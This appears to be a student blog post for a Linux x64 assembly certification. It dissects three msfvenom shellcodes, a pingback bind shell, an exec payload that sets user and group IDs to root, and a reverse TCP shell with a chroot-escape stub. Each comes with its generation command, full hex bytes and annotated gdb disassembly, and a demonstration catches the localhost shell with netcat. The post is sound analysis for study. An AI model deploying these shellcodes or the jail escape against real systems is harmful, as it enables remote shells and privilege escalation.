SLAE Assignment 5 - MsfVenom Shellcodes Analysis
Introduction
For this fifth assignment, our goal is to dissect and present an analysis of at least three msfvenom shellcodes.
All the source code for this assignment can be found on my github repository
Selected payloads
So the payloads I’ve chosen are :
- linux/x64/pingback_bind_tcp
- linux/x64/exec
with options :
* AppendExit
* PrependSetresgid
* PrependSetresuid
- linux/x64/shell_reverse_tcp
with options :
* PrependChrootBreak
linux/x64/pingback_bind_tcp
Description : Accept a connection from attacker and report UUID (Linux x64)
To begin, we need to generate the payload and we will set it to bind on port 4444 :
skrox@kali:~$ msfvenom -p linux/x64/pingback_bind_tcp LPORT=4444 -f c
[-] WARNING: UUID cannot be saved because database is inactive.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 109 bytes
Final size of c file: 484 bytes
unsigned char buf[] =
"\x56\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
"\x85\xc0\x78\x52\x48\x97\x48\xc7\xc1\x02\x00\x11\x5c\x51\x48"
"\x89\xe6\x54\x5e\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x6a\x32\x58"
"\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x99\x52\x52\x54\x5e\x6a\x1c"
"\x48\x8d\x14\x24\x0f\x05\x48\x97\x6a\x10\x5a\xe8\x10\x00\x00"
"\x00\x96\x33\xfd\x16\x90\xd2\x4a\x84\xa1\x8b\x4c\x22\xd4\x95"
"\x68\xed\x5e\x48\x31\xc0\x48\xff\xc0\x0f\x05\x6a\x3c\x58\x6a"
"\x01\x5f\x0f\x05";
We insert it into a wrapper, we compile it and run it with gdb :
skrox@kali:~$ g++ -ggdb -m64 -fno-stack-protector -z execstack -o pingback-bind shellcode.cpp
skrox@kali:~$ gdb ./pingback-bind
Now my analysis of the payload and the gdb commands I’ve used to see its assembly code :
(gdb) break *&payload
Breakpoint 1 at 0x4060
(gdb) run
Starting program: /home/skrox/Desktop/github-repos/SLAE64/Assignment-05-MsfVenom_shellcodes_analysis/pingback-bind
Breakpoint 1, 0x0000555555558060 in payload ()
(gdb) disas
Dump of assembler code for function payload:
=> 0x0000555555558060 <+0>: push rsi ;
0x0000555555558061 <+1>: push rax ; I don't know why these two instructions are executed
; maybe for compatibility issue with some options.
; socket(AF_INET, SOCK_STREAM, 0)
0x0000555555558062 <+2>: push 0x29
0x0000555555558064 <+4>: pop rax ; socket syscall value
0x0000555555558065 <+5>: cdq ; RDX set to 0
0x0000555555558066 <+6>: push 0x2
0x0000555555558068 <+8>: pop rdi ; AF_INET
0x0000555555558069 <+9>: push 0x1
0x000055555555806b <+11>: pop rsi ; SOCK_STREAM
0x000055555555806c <+12>: syscall ; exec socket
0x000055555555806e <+14>: test rax,rax ; cmp RAX, 0
0x0000555555558071 <+17>: js 0x5555555580c5 <payload+101> ; if socket return error SF=1
; jump to exit(1)
; bind(sockfd, {AF_INET, port 4444, INADDR_ANY}, 16)
0x0000555555558073 <+19>: xchg rdi,rax ; move sockfd to RDI
0x0000555555558075 <+21>: mov rcx,0x5c110002 ; 0x000000005c110002
0x000055555555807c <+28>: push rcx
0x000055555555807d <+29>: mov rsi,rsp ; RSI point to AF_INET, port 4444, INADDR_ANY
0x0000555555558080 <+32>: push rsp
0x0000555555558081 <+33>: pop rsi ; same as previously...
0x0000555555558082 <+34>: push 0x31
0x0000555555558084 <+36>: pop rax ; bind syscall value
0x0000555555558085 <+37>: push 0x10
0x0000555555558087 <+39>: pop rdx ; RDX set to 16 addrlen
0x0000555555558088 <+40>: syscall ; exec bind
; listen(sockfd, 1)
0x000055555555808a <+42>: push 0x32
0x000055555555808c <+44>: pop rax ; listen syscall value
0x000055555555808d <+45>: push 0x1
0x000055555555808f <+47>: pop rsi ; backlog (queue) 1
; RDI already set to sockfd
0x0000555555558090 <+48>: syscall ; exec listen
; accept(socket, *addr, *addrlen)
0x0000555555558092 <+50>: push 0x2b
0x0000555555558094 <+52>: pop rax ; accept syscall value
0x0000555555558095 <+53>: cdq ; RDX set to 0
0x0000555555558096 <+54>: push rdx ;
0x0000555555558097 <+55>: push rdx ; set 16 bytes of memory to 00
0x0000555555558098 <+56>: push rsp
0x0000555555558099 <+57>: pop rsi ; RSI point to 16 bytes of free memory (for *addr)
0x000055555555809a <+58>: push 0x1c
0x000055555555809c <+60>: lea rdx,[rsp] ; RDX point to addrlen value 28
0x00005555555580a0 <+64>: syscall ; exec accept
; write(sockfd, *buf, 16)
0x00005555555580a2 <+66>: xchg rdi,rax ; set RDI to the new sockfd
0x00005555555580a4 <+68>: push 0x10
0x00005555555580a6 <+70>: pop rdx ; set RDX to 10 (16 bytes)
0x00005555555580a7 <+71>: call 0x5555555580bc <payload+92> ; jump 16 bytes
; they will be used to write datas
0x00005555555580ac <+76>: xchg esi,eax ; 1 byte
0x00005555555580ad <+77>: xor edi,ebp ; 2 bytes
0x00005555555580af <+79>: (bad) ; 1 byte
0x00005555555580b0 <+80>: nop ; 1 byte
0x00005555555580b1 <+81>: ror BYTE PTR [rdx-0x7c],cl ; 3 byte
0x00005555555580b4 <+84>: movabs eax,ds:0x5eed6895d4224c8b ; 8 byte + 5e(pop rsi)
; where the jump lands
; Total 16bytes jumped
; Here to understand what happen we need to print instructions from the
; memory address of the jmp instructions destination
(gdb) x/10i 0x5555555580bc
0x5555555580bc <payload+92>: pop rsi ; RSI point to the start of
; the 16 jumped bytes
; 0x844ad29016fd3396
; 0xed6895d4224c8ba1
0x5555555580bd <payload+93>: xor rax,rax
0x5555555580c0 <payload+96>: inc rax ; write syscall value
0x5555555580c3 <payload+99>: syscall ; exec write
; Exit on error
0x00005555555580c5 <+101>: push 0x3c ;exit syscall value
0x00005555555580c7 <+103>: pop rax
0x00005555555580c8 <+104>: push 0x1 ;return value
0x00005555555580ca <+106>: pop rdi
0x00005555555580cb <+107>: syscall ;call exit(1)
0x00005555555580cd <+109>: add BYTE PTR [rax],al ; trash
End of assembler dump.
So this payload try to open a socket and exit if there is an error,
else it bind to a port and on an incoming client connection send this byte sequence :
3396 16fd d290 844a 8ba1 224c 95d4 ed68 (the Universally Unique Identifier (UUID) from the description) then exit.
This payload is only used to provide confirmation of remote execution on a target, to get a proof that a target is exploitable without accessing datas on the target and so without risking the fact that a third party may sniff important data between the target and the pentester during a pentest.
linux/x64/exec
With options : CMD=”echo Hello World !” AppendExit Append a stub that executes the exit(0) system call PrependSetresgid Prepend a stub that executes the setresgid(0, 0, 0) system call PrependSetresuid Prepend a stub that executes the setresuid(0, 0, 0) system call
We need to generate it :
skrox@kali:~/$ msfvenom -p linux/x64/exec CMD="echo Hello World !" AppendExit=true PrependSetresuid=true PrependSetresgid=true -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 88 bytes
Final size of c file: 394 bytes
unsigned char buf[] =
"\x48\x31\xff\x48\x89\xfe\x6a\x75\x58\x0f\x05\x48\x31\xff\x48"
"\x89\xfe\x6a\x77\x58\x0f\x05\x6a\x3b\x58\x99\x48\xbb\x2f\x62"
"\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00"
"\x48\x89\xe6\x52\xe8\x13\x00\x00\x00\x65\x63\x68\x6f\x20\x48"
"\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x20\x21\x00\x56\x57"
"\x48\x89\xe6\x0f\x05\x48\x31\xff\x6a\x3c\x58\x0f\x05";
We insert it into a wrapper, we compile it and run it with gdb :
skrox@kali:~$ g++ -ggdb -m64 -fno-stack-protector -z execstack -o exec shellcode.cpp
skrox@kali:~$ gdb ./exec
Then we look at the instructions with gdb :
(gdb) break *&payload
Breakpoint 1 at 0x4060
(gdb) run
Starting program: /home/skrox/Desktop/github-repos/SLAE64/Assignment-05-MsfVenom_shellcodes_analysis/exec
Breakpoint 1, 0x0000555555558060 in payload ()
(gdb) disas
Dump of assembler code for function payload:
; setresuid(0,0,trash)
; set real, effective and saved user or group ID
=> 0x0000555555558060 <+0>: xor rdi,rdi ; RDI set to 0
0x0000555555558063 <+3>: mov rsi,rdi ; RSI set to 0
0x0000555555558066 <+6>: push 0x75 ; #define __NR_setresuid 117
0x0000555555558068 <+8>: pop rax
0x0000555555558069 <+9>: syscall ; exec setresuid()
; we can see that it use trash value for RDX
; the argument for suid (saved set-user-ID)
; because it is only used to drop EUID permission,
; if we want to create a file that belong to the RUID
; when using a SUID program
; setresgid(0,0,trash)
; set real, effective and saved user or group ID
0x000055555555806b <+11>: xor rdi,rdi ; RDI set to 0
0x000055555555806e <+14>: mov rsi,rdi ; RSI set to 0
0x0000555555558071 <+17>: push 0x77 ; #define __NR_setresgid 119
0x0000555555558073 <+19>: pop rax
0x0000555555558074 <+20>: syscall ; exec setresgid()
; same as setresuid for the RDX value
; execve("/bin/sh",["/bin/sh","-c","Hello World !"],NULL)
0x0000555555558076 <+22>: push 0x3b
0x0000555555558078 <+24>: pop rax ; execve syscall value
0x0000555555558079 <+25>: cdq ; RDX set to 0
0x000055555555807a <+26>: movabs rbx,0x68732f6e69622f ; \x00hs/nib/
0x0000555555558084 <+36>: push rbx
0x0000555555558085 <+37>: mov rdi,rsp ; RDI point to '/bin/sh\x00'
0x0000555555558088 <+40>: push 0x632d ; c-
0x000055555555808d <+45>: mov rsi,rsp ; RSI point to '-c'
0x0000555555558090 <+48>: push rdx ; push 0, null pointer to end argv[]
0x0000555555558091 <+49>: call 0x5555555580a9 <payload+73> ; jump and push the address of
; the 'Hello World !\x00' string
; that start at the RIP address
;;; Jumped parts (19 bytes)
; (gdb) x/s 0x0000555555558096
; 0x555555558096 <payload+54>: "echo Hello World !" (+\x00 from 005657 add [bp+0x57],dl)
0x0000555555558096 <+54>: movsxd ebp,DWORD PTR gs:[rax+0x6f]
0x000055555555809a <+58>: and BYTE PTR [rax+0x65],cl
0x000055555555809d <+61>: ins BYTE PTR es:[rdi],dx
0x000055555555809e <+62>: ins BYTE PTR es:[rdi],dx
0x000055555555809f <+63>: outs dx,DWORD PTR ds:[rsi]
0x00005555555580a0 <+64>: and BYTE PTR [rdi+0x6f],dl
0x00005555555580a3 <+67>: jb 0x555555558111
0x00005555555580a5 <+69>: and BYTE PTR fs:[rcx],ah
0x00005555555580a8 <+72>: add BYTE PTR [rsi+0x57],dl ; the call lands on the second byte of
; $ ndisasm exec|grep 005657
; 005657 add [bp+0x57],dl
; 56(push rsi) 57(push rdi)
;;;;;;;
; we need to examine the instructions starting to 0x00005555555580a9
; to see what is really executed
(gdb) x/4i 0x00005555555580a9
0x5555555580a9 <payload+73>: push rsi ; push pointer to '-c'
0x5555555580aa <payload+74>: push rdi ; push pointer to '/bin/sh\x00'
0x00005555555580ab <+75>: mov rsi,rsp ; RSI point to ["/bin/sh","-c","Hello World !"]
0x00005555555580ae <+78>: syscall ; exec execve
; exit(0)
0x00005555555580b0 <+80>: xor rdi,rdi ; RDI set to 0
0x00005555555580b3 <+83>: push 0x3c
0x00005555555580b5 <+85>: pop rax ; exit syscall value
0x00005555555580b6 <+86>: syscall ; exec clean exit
0x00005555555580b8 <+88>: add BYTE PTR [rax],al ; trash
End of assembler dump.
We are done with this one.
linux/x64/shell_reverse_tcp
With options : PrependChrootBreak Prepend a stub that will break out of a chroot (includes setreuid to root)
We generate it :
skrox@kali:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 PrependChrootBreak=true ReverseListenerThreaded=true -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 151 bytes
Final size of c file: 661 bytes
unsigned char buf[] =
"\x48\x31\xff\x48\x89\xfe\x48\x89\xf8\xb0\x71\x0f\x05\x48\xbf"
"\x71\x77\x4d\x44\x42\x6f\x72\x57\x56\x57\x48\x89\xe7\x66\xbe"
"\xed\x01\x6a\x53\x58\x0f\x05\x48\x31\xd2\xb2\xa1\x48\x89\xd0"
"\x0f\x05\x66\xbe\x2e\x2e\x56\x48\x89\xe7\x6a\x45\x5b\x6a\x50"
"\x58\x0f\x05\xfe\xcb\x75\xf7\x6a\x2e\x48\x89\xe7\x48\x89\xd0"
"\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"
"\x97\x48\xb9\x02\x00\x11\x5c\x7f\x00\x00\x01\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a"
"\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f"
"\x05";
Like always, we copy/paste it into a wrapper compile it and run it with gdb :
skrox@kali:~$ g++ -ggdb -m64 -fno-stack-protector -z execstack -o reverse-tcp shellcode.cpp
skrox@kali:~$ gdb ./reverse-tcp
Then we break at the start of the payload and look at its instructions :
(gdb) break *&payload
Breakpoint 1 at 0x4060
(gdb) run
Starting program: /home/skrox/Desktop/github-repos/SLAE64/Assignment-05-MsfVenom_shellcodes_analysis/reverse-tcp
Breakpoint 1, 0x0000555555558060 in payload ()
(gdb) disas
Dump of assembler code for function payload:
; setreuid(0,0)
; set real and/or effective user or group ID
=> 0x0000555555558060 <+0>: xor rdi,rdi ; RDI set to 0
0x0000555555558063 <+3>: mov rsi,rdi ; RSI set to 0
0x0000555555558066 <+6>: mov rax,rdi ; RAX set to 0
0x0000555555558069 <+9>: mov al,0x71 ; RAX set to setreuid syscall value
0x000055555555806b <+11>: syscall ; exec setreuid
; mkdir("qwMDBorW", '755')
0x000055555555806d <+13>: movabs rdi,0x57726f42444d7771 ; random string WroBDMwq
0x0000555555558077 <+23>: push rsi ; string terminator
0x0000555555558078 <+24>: push rdi ;
0x0000555555558079 <+25>: mov rdi,rsp ; RDI point to "qwMDBorW"
0x000055555555807c <+28>: mov si,0x1ed ; permission mode 755
0x0000555555558080 <+32>: push 0x53
0x0000555555558082 <+34>: pop rax ; mkdir syscall value
0x0000555555558083 <+35>: syscall ; exec mkdir
; chroot("qwMDBorW")
; change root directory
0x0000555555558085 <+37>: xor rdx,rdx
0x0000555555558088 <+40>: mov dl,0xa1 ; RDX set to 0xa1
0x000055555555808a <+42>: mov rax,rdx ; chroot syscall value
; RDI already point to "qwMDBorW"
0x000055555555808d <+45>: syscall ; exec chroot
; chdir("..") 69 times (is it an easter egg ? or I'm perverted ?)
; change working directory
0x000055555555808f <+47>: mov si,0x2e2e ; ..
0x0000555555558093 <+51>: push rsi ;
0x0000555555558094 <+52>: mov rdi,rsp ; RDI point to ".."
0x0000555555558097 <+55>: push 0x45 ;
0x0000555555558099 <+57>: pop rbx ; RBX set to 69 (will be used as counter)
0x000055555555809a <+58>: push 0x50
0x000055555555809c <+60>: pop rax ; chdir syscall value
0x000055555555809d <+61>: syscall ; exec chdir
0x000055555555809f <+63>: dec bl
0x00005555555580a1 <+65>: jne 0x55555555809a <payload+58> ; if RBX not 0 re-call chdir("..")
: chroot(".")
; change process root directory to /
0x00005555555580a3 <+67>: push 0x2e
0x00005555555580a5 <+69>: mov rdi,rsp ; RDI point to "."
0x00005555555580a8 <+72>: mov rax,rdx ; RAX set chroot syscall value
0x00005555555580ab <+75>: syscall ; exec chroot
; socket(AF_INET, SOCK_STREAM, 0)
0x00005555555580ad <+77>: push 0x29
0x00005555555580af <+79>: pop rax ; socket syscall value
0x00005555555580b0 <+80>: cdq ; RDX set to 0
0x00005555555580b1 <+81>: push 0x2
0x00005555555580b3 <+83>: pop rdi ; AF_INET
0x00005555555580b4 <+84>: push 0x1
0x00005555555580b6 <+86>: pop rsi ; SOCK_STREAM
0x00005555555580b7 <+87>: syscall ; exec socket
; connect(sockfd, {AF_INET, 4444, 127.0.0.1}, 16)
0x00005555555580b9 <+89>: xchg rdi,rax ; RDI set to sockfd
0x00005555555580bb <+91>: movabs rcx,0x100007f5c110002 ; 127.0.0.1, 4444, AF_INET
0x00005555555580c5 <+101>: push rcx
0x00005555555580c6 <+102>: mov rsi,rsp ; RSI point to {AF_INET, 4444, 127.0.0.1}
0x00005555555580c9 <+105>: push 0x10
0x00005555555580cb <+107>: pop rdx ; addrlen (16)
0x00005555555580cc <+108>: push 0x2a
0x00005555555580ce <+110>: pop rax ; connect syscall value
0x00005555555580cf <+111>: syscall ; exec connect
; dup2(sockfd, stderr to stdin) loop
0x00005555555580d1 <+113>: push 0x3
0x00005555555580d3 <+115>: pop rsi
0x00005555555580d4 <+116>: dec rsi ; start counter from 2 to 0
0x00005555555580d7 <+119>: push 0x21
0x00005555555580d9 <+121>: pop rax ; dup2 syscall value
0x00005555555580da <+122>: syscall ; exec dup2
0x00005555555580dc <+124>: jne 0x5555555580d4 <payload+116> ; loop until RSI = 0
; execve("/bin/sh",["/bin/sh"],NULL)
0x00005555555580de <+126>: push 0x3b
0x00005555555580e0 <+128>: pop rax ; execve syscall value
0x00005555555580e1 <+129>: cdq ; RDX set to 0
0x00005555555580e2 <+130>: movabs rbx,0x68732f6e69622f ; \x00hs/nib/
0x00005555555580ec <+140>: push rbx ;
0x00005555555580ed <+141>: mov rdi,rsp ; RDI point to /bin/sh\x00
0x00005555555580f0 <+144>: push rdx ; array terminator
0x00005555555580f1 <+145>: push rdi ; push address of /bin/sh\x00
0x00005555555580f2 <+146>: mov rsi,rsp ; RSI point to ["/bin/sh"]
0x00005555555580f5 <+149>: syscall ; exec execve
0x00005555555580f7 <+151>: add BYTE PTR [rax],al ;Trash
End of assembler dump.
For information about the jail break techniques used in this payload you can check this link :
Escaping a chroot jail
Then it is a classical reverse shell tcp.
Finally we can test it to see the directory creation with permission, and the current directory :
skrox@kali:~$ ./reverse-tcp
skrox@kali:~$ ls -l
total 128
....
drwxr-xr-x 2 skrox skrox 4096 juin 5 15:55 qwMDBorW
....
On the terminal with a netcat listener :
skrox@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 45880
pwd
/
exit
And this the end of this assignement, thanks for reading :)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186